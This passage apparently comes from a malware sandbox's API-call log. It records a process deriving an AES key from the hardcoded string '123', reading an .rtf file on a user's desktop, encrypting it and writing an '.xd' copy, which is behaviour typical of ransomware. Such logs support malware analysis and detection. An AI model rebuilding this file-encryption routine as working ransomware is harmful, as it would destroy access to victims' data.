lpMsg=0x130ec34) returned 0 [0079.901] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.901] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0079.901] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0079.901] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0079.901] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0079.901] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0079.901] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0079.901] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x16214c8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0079.901] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0079.901] CryptCreateHash (in: hProv=0x1631bb0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0079.901] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.901] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.901] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.901] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.901] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0079.902] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629420, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0079.902] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0079.902] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.902] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0079.902] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629430, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0079.902] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.902] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0079.902] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0079.902] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0079.902] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0079.902] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x16217f8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0079.902] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0079.902] CryptHashData (hHash=0x164c970, pbData=0x1629440, dwDataLen=0x3, dwFlags=0x1) returned 1 [0079.902] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.902] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.902] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.902] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0079.903] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0079.903] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0079.903] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0079.903] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0079.903] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0079.903] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x1621768, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0079.903] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0079.903] CryptDeriveKey (in: hProv=0x1631bb0, Algid=0x6610, hBaseData=0x164c970, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c630) returned 1 [0079.903] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.903] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.903] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.956] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.957] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.957] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0079.957] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0079.957] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0079.957] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0079.957] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164e030, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0079.957] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0079.957] CryptDestroyHash (hHash=0x164c970) returned 1 [0079.957] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.957] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.957] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.957] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.957] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.957] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dXz6\\mznN_f1BJ6oMU Uf2u6z.rtf" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\dxz6\\mznn_f1bj6omu uf2u6z.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c8 [0079.958] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.958] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0079.958] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.958] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.958] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.958] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dXz6\\" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\dxz6")) returned 0x10 [0079.959] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dXz6\\mznN_f1BJ6oMU Uf2u6z.rtf.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\dxz6\\mznn_f1bj6omu uf2u6z.rtf.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d8 [0079.959] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.959] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.959] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.959] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.961] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0079.961] ReadFile (in: hFile=0x3c8, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x7134, lpOverlapped=0x0) returned 1 [0079.963] ReadFile (in: hFile=0x3c8, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0079.965] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.965] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.966] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.966] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0079.966] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.966] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.966] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0079.966] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0079.966] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0079.969] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0079.969] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0079.969] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0079.969] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0079.969] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0079.969] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0079.969] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164e330, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0079.969] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0079.969] CryptGetKeyParam (in: hKey=0x164c630, dwParam=0x7, pbData=0x1629480, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x1629480*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0079.969] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0079.969] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0079.969] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.969] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.969] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.969] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.969] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.969] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.970] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0079.970] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0079.970] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0079.970] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0079.970] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0079.970] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0079.970] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0079.970] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0079.970] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0079.970] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0079.970] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.970] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.970] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.970] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.970] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0079.970] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0079.970] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0079.970] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0079.971] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621780, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0079.971] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0079.971] CryptEncrypt (in: hKey=0x164c630, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0x7134, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0x7140) returned 1 [0079.971] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.971] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.971] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.971] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.971] CharLowerBuffW (in: lpsz="byte[28993]", cchLength=0xb | out: lpsz="byte[28993]") returned 0xb [0079.971] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.971] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.971] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0079.972] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0079.972] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0079.972] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0079.972] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x16219c0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0079.972] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0079.972] CryptEncrypt (in: hKey=0x164c630, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x17eeda0*, pdwDataLen=0x130e618*=0x7134, dwBufLen=0x7140 | out: pbData=0x17eeda0*, pdwDataLen=0x130e618*=0x7140) returned 1 [0079.972] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.972] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.972] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.972] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.972] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.972] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.972] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0079.972] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0079.972] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0079.972] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0079.972] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0079.972] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0079.973] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0079.973] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0079.973] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: 